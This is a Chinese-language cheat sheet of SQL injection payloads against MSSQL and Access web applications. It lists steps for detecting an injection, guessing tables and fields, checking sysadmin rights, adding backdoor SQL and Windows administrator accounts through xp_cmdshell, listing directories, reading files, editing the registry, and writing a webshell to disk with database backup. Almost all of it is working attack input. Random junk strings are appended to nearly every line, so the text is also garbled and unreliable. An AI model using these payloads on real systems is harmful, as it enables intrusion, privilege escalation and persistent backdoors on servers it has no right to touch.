1.判断是否有注入;and 1=1 ;and 1=2 fIF8%J ^3
2.初步判断是否是mssql ;and user>0 $C\BcKlmv
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3.注入参数是字符'and [查询条件] and ''=' HV.t6@\};
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' #F#%`Rv1
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5.判断数据库系统 v1[29t<I!
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;and (select count(*) from sysobjects)>0 mssql :r[`.`
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;and (select count(*) from msysobjects)>0 access TNth
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 PdCEUh\>y
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 q7!{?\T%
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 xUvs:
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9.(1)猜字段的ascii值(access) jF>[?L
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {FGj]*
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(2)猜字段的ascii值(mssql) R@0R`Zs
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1,~D4lD|
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10.测试权限结构(mssql) /,dz@
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <[phnU^
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- JLYi]nZ
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- y(&Ac[foS}
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- j [a(#V{
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- TV:9bn?r)
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- J05e#-)<K
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;and 1=(select IS_MEMBER('db_owner'));-- 2T1q?L?]
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11.添加mssql和系统的帐户 : +u]S2u{
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;exec master.dbo.sp_addlogin username;-- @co
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;exec master.dbo.sp_password null,username,password;-- omFz@
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [m -bV$-d
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;exec master.dbo.xp_cmdshell 'net user username password @L`jk+Y0vF
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- S@Y39
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- fOHxtHM
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- pdMc}=K
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12.(1)遍历目录 Y@v>FlqI{
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;create table dirs(paths varchar(100), id int) . me;.,$#
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ^pS~Z~[d/
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;and (select top 1 paths from dirs)>0 t:S+%u U
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) TzZq(?V
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(2)遍历目录 NHt\
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0_/[k*Re
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y}
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 iCoX&"lb
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 K:M8h{Ua
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 WxDh;*am:
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13.mssql中的存储过程 _aphkeqd
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xp_regenumvalues 注册表根键, 子键 _{>vTBU4F
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4| f*eO
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xp_regread 根键,子键,键值名 ,6/V"kqIP
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;exec xp_regread s.rm7r@#
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 s"|Pdc4
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xp_regwrite 根键,子键, 值名, 值类型, 值 \['Cj*e k
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 aXVFc5C\
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xp_regdeletevalue 根键,子键,值名 t1".0
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ks tIgcI
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #cJ@uqR
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14.mssql的backup创建webshell gi8FHSU|G
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use model R-:2HRaA
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create table cmd(str image); c$,P ~Ws'
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insert into cmd(str) values (''); Dv"9qk
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backup database model to disk='c:\l.asp'; ZNoDFf*h
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15.mssql内置函数 Y73C5.dNcE
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;and (select @@version)>0 获得Windows的版本号 0f/<7R
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa pRqx`5 }
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;and (select user_name())>0 爆当前系统的连接用户 .8R@2c`}Cs
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;and (select db_name())>0 得到当前连接的数据库 NUZl`fu1Z4
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16.简洁的webshell 3Ul*QN{6
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use model @- xjfC\d
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create table cmd(str image); XUYtEf
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insert into cmd(str) values (''); x4 yR8n(
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backup database model to disk='g:\wwwtest\l.asp';